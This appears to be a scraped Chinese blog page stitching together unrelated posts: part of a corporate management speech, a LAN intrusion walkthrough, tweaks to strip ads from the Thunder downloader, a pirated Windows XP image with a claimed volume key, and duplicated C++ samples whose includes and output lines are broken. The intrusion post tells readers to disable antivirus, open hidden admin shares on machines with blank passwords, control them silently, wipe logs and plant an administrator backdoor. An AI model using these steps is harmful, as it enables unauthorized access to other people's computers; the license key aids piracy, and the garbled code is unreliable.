什么叫领导？什么叫政客？这次以色列的选举，让我们看到了犹太人的短视。拉宾意识到以色列一个小国，处在几亿阿拉伯人的包围中，尽管几次中东战争以色列都战胜了，但不能说50年、100年以后，阿拉伯人不会发展起来。今天不以土地换和平、划定边界，与周边和平相处，那么一旦阿拉伯人强大起来，他们又会重新流离失所。要是这样犹太人再过2000年还回不回得来，就不一定了。而大多数人，只看重眼前的利益，沙龙是强硬派，会为犹太人争得近期利益，人们拥护了他。我终于看到一次犹太人也像我们一样的短视。我们的领导都不要迎合群众，但推进组织目的，要注意工作方法。
干部要有敬业精神、献身精神、责任心和使命感。区别一个干部是不是一个好干部，是不是忠臣，标准有四个：第一，你有没有敬业精神，对工作是否认真，改进了，还能改进吗？还能再改进吗？这就是你的工作敬业精神。第二，你有没有献身精神，不要斤斤计较，我们的价值评价体系不可能做到绝对公平。如果用曹冲称象的方法来进行任职资格来评价的话，那肯定是公平的。但如果用精密天平来评价，那肯定公平不了。我们要想做到绝对公平是不可能的。我认为献身精神是考核干部的一个很重要因素。一个干部如果过于斤斤计较，这个干部绝对做不好，你手下有很多兵，你自私、斤斤计较，你的手下能和你合作很好吗？没有献身精神的人不要做干部，做干部的一定要有献身精神。第三点和第四点，就是要有责任心和使命感。我们的员工是不是都有责任心和使命感？如果没有责任心和使命感，为什么还想要当干部。如果你觉得还是你有一点责任心和使命感的，赶快改进，否则最终还是要把你免下去的。
五、不盲目创新，才能缩小庞大的机关
庙小一点，方丈减几个，和尚少一点，机关的改革就是这样。总的原则是我们一定要压缩机关，为什么？因为我们建设了IT。为什么要建设IT？道路设计时要博士，炼钢制轨要硕士，铺路要本科生。但是道路修好了扳岔道就不要这么高的学历了，否则谁也坐不起这个火车。因此当我们公司组织体系和流程体系建设起来的时候，就不要这么多的高级别干部，方丈就少了。
我们要坚持“小改进，大奖励”。“小改进、大奖励”是我们长期坚持不懈的改良方针。应在小改进的基础上，不断归纳，综合分析。研究其与公司总体目标流程的符合，与周边流程的和谐，要简化、优化、再固化。这个流程是否先进，要以贡献率的提高来评价。我年轻时就知道华罗庚的一句话，“神奇化易是坦途，易化神奇不足提”。我们有些员工，交给他一件事，他能干出十件事来，这种创新就不需要，是无能的表现。这是制造垃圾，这类员工要降低使用。所以今年有很多变革项目，但每个变革项目都要以贡献率来考核。既要实现高速增长，又要同时展开各项管理变革，错综复杂，步履艰难，任重而道远。各级干部要有崇高的使命感和责任意识，要热烈而镇定，紧张而有秩序。“治大国如烹小鲜”，我们做任何小事情都要小心谨慎，不要随意把流程破坏了，发生连锁错误。
六、规范化管理本身已含监控，它的目的是有效、快速的服务业务需要
我们要继续坚持业务为主导，会计为监督的宏观管理方法与体系的建设。什么叫业务为主导，就是要敢于创造和引导需求，取得“机会窗”的利润。也要善于抓住机会，缩小差距，使公司同步于世界而得以生存。什么叫会计为监督，就是为保障业务实现提供规范化的财经服务，规范化就可以快捷、准确和有序，使帐务维护成本低。规范化是一把筛子，在服务的过程中也完成了监督。要把服务与监控融进全流程。我们也要推行逆向审计，追溯责任，从中发现优秀的干部，铲除沉淀层。
七、面对变革要有一颗平常心，要有承受变革的心理素质
IT体系的逐步建成，以前的多层行政传递与管理的体系将更加扁平化。伴随中间层的消失，一大批干部将成为富余，各大部门要将富余的干部及时输送至新的工作岗位上去，及时地疏导，才会避免以后的过度裁员。我在美国时，在和IBM、Cisco、Lucent等几个大公司领导讨论问题时谈到，IT是什么？他们说，IT就是裁员、裁员、再裁员。以电子流来替代人工的操作，以降低运作成本，增强企业竞争力。我们也将面临这个问题。伴随着IPD、ISC、财务四统一、支撑IT的网络等逐步铺开和建立，中间层消失。我们预计我们大量裁掉干部的时间大约在2003年或2004年。
今天要看到这个局面，我们现在正在扩张，还有许多新岗位，大家要赶快去占领这些新岗位，以免被裁掉。不管是对干部还是普通员工，裁员都是不可避免的。我们从来没有承诺过，像日本一样执行终身雇佣制。我们公司从创建开始就是强调来去自由。内部流动是很重要的，当然这个流动有升有降，只要公司的核心竞争力提升了，个人的升、降又何妨呢？“不以物喜，不以己悲”。因此今天来说，我们各级部门真正关怀干部，就不是保住他，而是要疏导他，疏导出去。
八、模板化是所有员工快速管理进步的法宝
一个新员工，看懂模板，会按模板来做，就已经国际化、职业化，现在的文化程度，三个月就掌握了。而这个模板是前人摸索几十年才摸索出来的，你不必再去摸索。各流程管理部门、合理化管理部门，要善于引导各类已经优化的、已经证实行之有效的工作模板化。清晰流程，重复运行的流程，工作一定要模板化。一项工作达到同样绩效，少用工，又少用时间，这才说明管理进步了。我们认为，抓住主要的模板建设，又使相关的模板的流程连结起来，才会使IT成为现实。在这个问题，我们要加强建设。
九、华为的危机，以及萎缩、破产是一定会到来的
现在是春天吧，但冬天已经不远了，我们在春天与夏天要念着冬天的问题。IT业的冬天对别的公司来说不一定是冬天，而对华为可能是冬天。华为的冬天可能来得更冷，更冷一些。我们还太嫩，我们公司经过十年的顺利发展没有经历过挫折，不经过挫折，就不知道如何走向正确道路。磨难是一笔财富，而我们没有经过磨难，这是我们最大的弱点。我们完全没有适应不发展的心理准备与技能准备。
危机的到来是不知不觉地，我认为所有的员工都不能站在自己的角度立场想问题。如果说你们没有宽广的胸怀，就不可能正确对待变革。如果你不能正确对待变革，抵制变革，公司就会死亡。在这个过程中，大家一方面要努力地提升自己，一方面要与同志们团结好，提高组织效率，并把自己的好干部送到别的部门去，使自己部下有提升的机会。你减少了编制，避免了裁员、压缩。在改革过程中，很多变革总会触动某些员工的一些利益和矛盾，希望大家不要发牢骚，说怪话，特别是我们的干部要自律，不要传播小道消息。
十、安安静静地应对外界议论
对待媒体的态度，希望全体员工都要低调，因为我们不是上市公司，所以我们不需要公示社会。我们主要是对政府负责任，对企业的有效运行负责任。对政府的责任就是遵纪守法，我们去年交给国家的增值税、所得税是18个亿，关税是9个亿，加起来一共是27个亿。估计我们今年在税收方面可能再增加百分之七八十，可能要给国家交到40多个亿。我们已经对社会负责了。媒体有他们自己的运作规律，我们不要去参与，我们有的员工到网上的辩论，是帮公司的倒忙。
我想，每个员工都要把精力用到本职工作上去，只有本职工作做好了才能为你提高带来更大的效益。国家的事由国家管，政府的事由政府管，社会的事由社会管，我们只要做一个遵纪守法的公民，就完成了我们对社会的责任。只有这样我们公司才能安全、稳定。不管遇到任何问题，我们的员工都要坚定不移地保持安静，听党的话，跟政府走。严格自律，不该说的话不要乱说。特别是干部要管好自己的家属。我们华为人都是非常有礼仪的人。当社会上根本认不出你是华为人的时候，你就是华为人；当这个社会认出你是华为人的时候，你就不是华为人，因为你的修炼还不到家。
沉舟侧畔千帆过，病树前头万木春。网络股的暴跌，必将对二、三年后的建设预期产生影响，那时制造业就惯性进入了收缩。眼前的繁荣是前几年网络股大涨的惯性结果。记住一句话：“物极必反”，这一场网络设备供应的冬天，也会像它热得人们不理解一样，冷得出奇。没有预见，没有预防，就会冻死。那时，谁有棉衣，谁就活下来了。
11.04.2008
一次局域网入侵全过程
来源：http://zhangxu.blog.cfan.com.cn
1.入侵的范围只包括局域网，如果在学校上，可以入侵整个校园网;
2.能入侵的只是存在弱口令(用户名为administrator等,密码为空)，并且开了139端口，但没开防火墙的机子。
入侵工具：
一般要用到三个：NTscan变态扫描器，Recton--D贺免杀专用版，DameWare迷你中文版 4.5. (前两个工具杀毒软件都会报毒，建议将杀毒软件实时防毒暂时关掉，并将这两个软件的压缩包加密，防止被杀。)
入侵步骤：
1.使用"NTscan变态扫描器"，在IP处填上要扫描的IP范围，选择"WMI扫描"方式，按"开始"后就等扫描结果了。
2.使用"Recton--D贺免杀专用版"
选择"CMD命令"项，在"CMD:"中输入"net share C$=C:"，即可开启远程主机的C盘共享，以此将"C"换成D,E,F等，即可开启D盘，E盘，F盘等的共享，这种共享方式隐蔽性很高，而且是完全共享，在对方主机上不会出现一只手托住盘的共享标志，然后在地址栏中输入"\\对方IP\C$"，即可进入对方C盘。
选择"Telnet"项，在"远程主机"中输入刚才扫描到的一个IP，远程启动Telnet服务，成功后在"CMD选项"中，执行命令："net share ipc$",接着执行："net share admin$",最后执行"net use \\***.***.***.***\IPC$" /user：administrator"在*处填入你入侵的主机IP。
3.使用"DameWare迷你中文版 4.5"，安装后点"DameWare Mini Remote Control"，在"帮助"项中选择激活产品，输入注册信息，成功注册后，进入"远程连接"窗口，在"主机"处填入IP地址，点"设置"，在"服务安装选项"中点"编辑"后,在"通知对话框"中去掉"连接时通知",在"附加设置"中全都不选，在"用户选项"中去掉"启用用户选项菜单"。设置完成好后，就可点"连接"，在弹出的对话框中点"确定"后，成功后你就可以像操作自己机子一样控制别人电脑了，当然你也可以只选择监视对方屏幕。 注意：如果不注册的话，在对方主机上会弹出一个对话框，暴露你的身份。
入侵步骤补充：
1.在以上第2步中，远程启动Telnet服务可以通过"我的电脑-管理-连接到另一台计算机-输入IP-服务和应用程序-服务-将telnet改为手动-启动"完成。
2.Recton-D贺免杀专用版还有其他功能，在"进程"项中，可以查看远程主机的进程，并可任意结束其中进程;在"共享"项中，可以创建共享，我常用的是创建C$,D$,E$,F$,共享路径分别对应C：\,D：\等，共享好后在地址栏中输入\\IP\C$,进入对方C盘，你就可以随意复制删除里面的东西了，而且这种共享对方机子盘符上不会显示共享图标，也就不会被发现，弄完后最好还是把共享给关掉。最后选"日志"，清除所有日志，不留痕迹。这个软件会被杀毒软件当作病毒杀掉，用它时须将实时防毒关掉。
3.上面的共享可通过CMD(程序-附件-命令提示符)完成，首先"telnet IP",telnet上去,键入y后输入的用户名"administrator",密码为空, 进入后，开共享用net share命令，共享C$(即C盘)："net share C$=C：",共享system文件夹："net share c=c：\winnt\system32",共享IPC$用："net share IPC$"等,最后是关闭共享，关闭C盘共享："net share C$Content$nbsp;/del"。
4.为方便下次入侵，可以设置后门， 查看用户："net user",激活guest用户
"net user guest /active：yes",更改guest的密码为poco："net user guest poco",把guest的权限提升为管理员权限："net localgroup administrators guest /add"。
5.telnet命令(DOS命令)很多，可去网上查找它的命令，常用的有：查看D盘文件：""dir d：",查看C盘program file文件夹："dir c：\PROGRA~1\;",60秒倒记时关机："shutdown -s -t 60"
补充说明：
1.net use错误原因解决：
(1)."发生系统错误 1326。 登录失败： 未知的用户名或错误密码。"
在远程机的"控制面板-文件夹选项-查看-简单的文件共享",去掉选取,然后再尝试连接。简单文件共享会把网络连接权限都归为 guest连接，是无法访问C$等管理共享的.
(2)"发生系统错误 1327。 登陆失败：用户帐户限制。可能的原因包括不允许空密码，登陆时间限制，或强制的策略限。"在远程机的"控制面板-管理工具-本地安全策略-安全选项-用户权限"指派里，禁用"空密码用户只能进行控制台登陆".
(3)"//IP/c$"时提示找不到网络途径。在"网络和拨号连接"中"本地连接"中选取"Internet协议(TCP/IP)"属性，进入"高级TCP/IP设置"选"WINS设置"里面有一项"启用TCP/IP的NETBIOS".
1.入侵的范围只包括局域网，如果在学校上，可以入侵整个校园网;
2.能入侵的只是存在弱口令(用户名为administrator等,密码为空)，并且开了139端口，但没开防火墙的机子。
入侵工具：
一般要用到三个：NTscan变态扫描器，Recton--D贺免杀专用版，DameWare迷你中文版 4.5. (前两个工具杀毒软件都会报毒，建议将杀毒软件实时防毒暂时关掉，并将这两个软件的压缩包加密，防止被杀。)
入侵步骤：
1.使用"NTscan变态扫描器"，在IP处填上要扫描的IP范围，选择"WMI扫描"方式，按"开始"后就等扫描结果了。
2.使用"Recton--D贺免杀专用版"
选择"CMD命令"项，在"CMD:"中输入"net share C$=C:"，即可开启远程主机的C盘共享，以此将"C"换成D,E,F等，即可开启D盘，E盘，F盘等的共享，这种共享方式隐蔽性很高，而且是完全共享，在对方主机上不会出现一只手托住盘的共享标志，然后在地址栏中输入"\\对方IP\C$"，即可进入对方C盘。
选择"Telnet"项，在"远程主机"中输入刚才扫描到的一个IP，远程启动Telnet服务，成功后在"CMD选项"中，执行命令："net share ipc$",接着执行："net share admin$",最后执行"net use \\***.***.***.***\IPC$" /user：administrator"在*处填入你入侵的主机IP。
3.使用"DameWare迷你中文版 4.5"，安装后点"DameWare Mini Remote Control"，在"帮助"项中选择激活产品，输入注册信息，成功注册后，进入"远程连接"窗口，在"主机"处填入IP地址，点"设置"，在"服务安装选项"中点"编辑"后,在"通知对话框"中去掉"连接时通知",在"附加设置"中全都不选，在"用户选项"中去掉"启用用户选项菜单"。设置完成好后，就可点"连接"，在弹出的对话框中点"确定"后，成功后你就可以像操作自己机子一样控制别人电脑了，当然你也可以只选择监视对方屏幕。 注意：如果不注册的话，在对方主机上会弹出一个对话框，暴露你的身份。
入侵步骤补充：
1.在以上第2步中，远程启动Telnet服务可以通过"我的电脑-管理-连接到另一台计算机-输入IP-服务和应用程序-服务-将telnet改为手动-启动"完成。
2.Recton-D贺免杀专用版还有其他功能，在"进程"项中，可以查看远程主机的进程，并可任意结束其中进程;在"共享"项中，可以创建共享，我常用的是创建C$,D$,E$,F$,共享路径分别对应C：\,D：\等，共享好后在地址栏中输入\\IP\C$,进入对方C盘，你就可以随意复制删除里面的东西了，而且这种共享对方机子盘符上不会显示共享图标，也就不会被发现，弄完后最好还是把共享给关掉。最后选"日志"，清除所有日志，不留痕迹。这个软件会被杀毒软件当作病毒杀掉，用它时须将实时防毒关掉。
3.上面的共享可通过CMD(程序-附件-命令提示符)完成，首先"telnet IP",telnet上去,键入y后输入的用户名"administrator",密码为空, 进入后，开共享用net share命令，共享C$(即C盘)："net share C$=C：",共享system文件夹："net share c=c：\winnt\system32",共享IPC$用："net share IPC$"等,最后是关闭共享，关闭C盘共享："net share C$Content$nbsp;/del"。
4.为方便下次入侵，可以设置后门， 查看用户："net user",激活guest用户
"net user guest /active：yes",更改guest的密码为poco："net user guest poco",把guest的权限提升为管理员权限："net localgroup administrators guest /add"。
5.telnet命令(DOS命令)很多，可去网上查找它的命令，常用的有：查看D盘文件：""dir d：",查看C盘program file文件夹："dir c：\PROGRA~1\;",60秒倒记时关机："shutdown -s -t 60"
补充说明：
1.net use错误原因解决：
(1)."发生系统错误 1326。 登录失败： 未知的用户名或错误密码。"
在远程机的"控制面板-文件夹选项-查看-简单的文件共享",去掉选取,然后再尝试连接。简单文件共享会把网络连接权限都归为 guest连接，是无法访问C$等管理共享的.
(2)"发生系统错误 1327。 登陆失败：用户帐户限制。可能的原因包括不允许空密码，登陆时间限制，或强制的策略限。"在远程机的"控制面板-管理工具-本地安全策略-安全选项-用户权限"指派里，禁用"空密码用户只能进行控制台登陆".
(3)"//IP/c$"时提示找不到网络途径。在"网络和拨号连接"中"本地连接"中选取"Internet协议(TCP/IP)"属性，进入"高级TCP/IP设置"选"WINS设置"里面有一项"启用TCP/IP的NETBIOS".
11.02.2008
去掉迅雷广告资源 防止上传
来源: 数动连线
去掉迅雷的广告和资源信息，防止迅雷上传
一、去掉资源信息栏
1.找到迅雷安装文件夹\Program Files\Thunder Network\Thunder\Profiles\UserConfig.ini然后用记事本打开。
2.找到[splitter_1],里面有第二个pane1-hide=0，将里面的0改为1，并将文件保存为只读即可。
***注意是第二个pane1-hide=0改为pane1-hide=1。
二、去掉广告
在迅雷的安装目录\Program Files\Thunder Network\Thunder\Program找到gui.cfg文件，然后用记事本打开！ 把它的内容改为：
[URL]
ADServer=
LastModifyTime=Mon, 2 Apr 2007 06:32:45 GMT
NavigateTimes=10
TimeSpan=300
PartnerNavigateTimers=10
PartnerTimeSpan=300
PVServer=
PVPort=3076
PVTimeSpan=5
ADCountingServer=
ADCountingPort=3076
HomePage=
同时去掉C:\Program Files\Thunder Network\Thunder\Program\AD目录下的所有文件
只留下main.gif、002.gif、new.gif和default_main.swf这四个文件（如果不留的话广告栏会是空白的）
三、去掉热门推荐：
删掉Components\P4PClient目录下的P4PClient.dll 做掉搜索栏：删掉Components\Search目录下的XLSearch.dll
四 防止迅雷偷偷上传
每次使用迅雷下载东西，它都会生成一个文件：
c:\windows\system32\cid_store.dat和迅雷的安装目录——X：\Program Files\Thunder Network\Thunder\Program\cid_store.dat，这个文件记住你每次下载的文件的位置，以便迅雷偷偷上传。只要把这个文件干掉，就禁止了迅雷偷偷上传。
方法1：
不用删除迅雷文件列表，不用清空迅雷垃圾箱，迅雷也不会扫描整个磁盘，只要这个文件存在，迅雷就会把你下载的数据偷偷的上传。当然，你可以把下载的东西改个名称，或者换个路径，这样也可以防止上传，但是这样未免麻烦了。网上有一个方法教大家每次使用迅雷后打开一个批处理，目的就是删除这个cid_store.dat文件，让迅雷“忘记”曾经下载过什么，从而避开上传。
这个方法也挺麻烦的，这里教给大家2招新的，
方法2：
这个文件打开，把里面的内容全部删光，并设为只读，这样就可以了。
方法3：
删除c:\windows\system32\cid_store.dat文件，然后在c:\windows\system32\和迅雷的安装目录——X：\Program Files\Thunder Network\Thunder\Program\下，新建一个文件夹，名称为
cid_store.dat，这样就没办法再生成任务记录文件啦，大功告成，简单吧
此方法的道理就是，再同一个文件夹内，无法共存名字相同的文件和文件夹
去掉迅雷的广告和资源信息，防止迅雷上传
一、去掉资源信息栏
1.找到迅雷安装文件夹\Program Files\Thunder Network\Thunder\Profiles\UserConfig.ini然后用记事本打开。
2.找到[splitter_1],里面有第二个pane1-hide=0，将里面的0改为1，并将文件保存为只读即可。
***注意是第二个pane1-hide=0改为pane1-hide=1。
二、去掉广告
在迅雷的安装目录\Program Files\Thunder Network\Thunder\Program找到gui.cfg文件，然后用记事本打开！ 把它的内容改为：
[URL]
ADServer=
LastModifyTime=Mon, 2 Apr 2007 06:32:45 GMT
NavigateTimes=10
TimeSpan=300
PartnerNavigateTimers=10
PartnerTimeSpan=300
PVServer=
PVPort=3076
PVTimeSpan=5
ADCountingServer=
ADCountingPort=3076
HomePage=
同时去掉C:\Program Files\Thunder Network\Thunder\Program\AD目录下的所有文件
只留下main.gif、002.gif、new.gif和default_main.swf这四个文件（如果不留的话广告栏会是空白的）
三、去掉热门推荐：
删掉Components\P4PClient目录下的P4PClient.dll 做掉搜索栏：删掉Components\Search目录下的XLSearch.dll
四 防止迅雷偷偷上传
每次使用迅雷下载东西，它都会生成一个文件：
c:\windows\system32\cid_store.dat和迅雷的安装目录——X：\Program Files\Thunder Network\Thunder\Program\cid_store.dat，这个文件记住你每次下载的文件的位置，以便迅雷偷偷上传。只要把这个文件干掉，就禁止了迅雷偷偷上传。
方法1：
不用删除迅雷文件列表，不用清空迅雷垃圾箱，迅雷也不会扫描整个磁盘，只要这个文件存在，迅雷就会把你下载的数据偷偷的上传。当然，你可以把下载的东西改个名称，或者换个路径，这样也可以防止上传，但是这样未免麻烦了。网上有一个方法教大家每次使用迅雷后打开一个批处理，目的就是删除这个cid_store.dat文件，让迅雷“忘记”曾经下载过什么，从而避开上传。
这个方法也挺麻烦的，这里教给大家2招新的，
方法2：
这个文件打开，把里面的内容全部删光，并设为只读，这样就可以了。
方法3：
删除c:\windows\system32\cid_store.dat文件，然后在c:\windows\system32\和迅雷的安装目录——X：\Program Files\Thunder Network\Thunder\Program\下，新建一个文件夹，名称为
cid_store.dat，这样就没办法再生成任务记录文件啦，大功告成，简单吧
此方法的道理就是，再同一个文件夹内，无法共存名字相同的文件和文件夹
11.01.2008
Windows XP sp3 VOL 微软原版下载+正版key
2008-10-24日 Windows XP sp3 VOL 微软原版下载+正版key
2008-10-24日 Windows XP sp3 VOL 微软原版下载+正版key（注意：以前发的是MSDN版）
正版密钥：M6TF9-8XQ2M-YQK9F-7TBB2-XGG88（清华大学的VOL KEY）
Windows XP with sp3 VOL 微软原版下载：
zh-hans_windows_xp_professional_with_service_pack_3_x86_cd_vl_x14-74070.iso
大小: 630237184 字节
MD5: E74D72F3D90456003E9E02BA0FB7DA61
SHA1: D142469D0C3953D8E4A6A490A58052EF52837F0F
CRC32: FFFFFFFF
迅雷下载地址
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电驴下载（复制以下地址/启动运行电驴）：
ed2k://|file|zh-hans_windows_xp_professional_with_service_pack_3_x86_cd_vl_x14-74070%20(ED2000.COM).iso|630237184|EC51916C9D9B8B931195EE0D6EE9B40E|
2008-10-24日 Windows XP sp3 VOL 微软原版下载+正版key（注意：以前发的是MSDN版）
正版密钥：M6TF9-8XQ2M-YQK9F-7TBB2-XGG88（清华大学的VOL KEY）
Windows XP with sp3 VOL 微软原版下载：
zh-hans_windows_xp_professional_with_service_pack_3_x86_cd_vl_x14-74070.iso
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SHA1: D142469D0C3953D8E4A6A490A58052EF52837F0F
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水仙花数的求解
解法一：
#include
#include
int main()
{
int i, j, k; /* 分别表示百位,十位,个位 */
int n; for (n = 99; n < 1000; n++)
{
i = n / 100;
j = n / 10 - i * 10;
k = n - i * 100 - j * 10;
if (i*i*i + j*j*j + k*k*k == n)
cout<
return 0;
}
解法二：
//使用math.h中的pow (double a, double b)即a 的 b 次方
#include
#include
#include
int main()
{
int i, j, k;
int n;
for (n = 100; n < 1000; n++)
{
i = n / 100;
j = n / 10 - i * 10;
k = n - i * 100 - j * 10;
if (pow(i, 3) + pow(j, 3) + pow(k, 3) == n)
cout<
return 0;
}
#include
#include
int main()
{
int i, j, k; /* 分别表示百位,十位,个位 */
int n; for (n = 99; n < 1000; n++)
{
i = n / 100;
j = n / 10 - i * 10;
k = n - i * 100 - j * 10;
if (i*i*i + j*j*j + k*k*k == n)
cout<
return 0;
}
解法二：
//使用math.h中的pow (double a, double b)即a 的 b 次方
#include
#include
#include
int main()
{
int i, j, k;
int n;
for (n = 100; n < 1000; n++)
{
i = n / 100;
j = n / 10 - i * 10;
k = n - i * 100 - j * 10;
if (pow(i, 3) + pow(j, 3) + pow(k, 3) == n)
cout<
return 0;
}
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